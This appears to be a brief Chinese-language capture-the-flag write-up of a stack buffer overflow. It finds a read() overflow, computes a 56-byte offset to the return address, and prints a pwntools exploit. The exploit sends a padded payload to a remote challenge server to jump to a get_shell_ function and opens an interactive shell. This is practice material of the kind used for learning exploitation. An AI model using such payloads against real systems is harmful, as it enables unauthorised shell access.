首先检查了一下保护机制,发现几乎啥保护都没有,ida查看一下
read()函数存在溢出,然后又看了一下发现main函数下面有一个get_shell_函数,点进去看了看应该是让返回地址覆盖成getshell地址,
gdb看一下偏移rbp前四位为bAA1,算一下偏移
到rbp偏移为48,向上8字节是父函数rbp,所以偏移56覆盖到返回地址,get_shell_地址为
exp如下:
from pwn import *
p = remote('114.116.54.89','10003')
payload='a'*48+'a'*8+p64(0x400751)
p.recvline()
p.sendline(payload)
p.interactive()
一开始interactive()少加了括号,死活成功不了,后来问群里人发现括号忘记加了,还是练的太少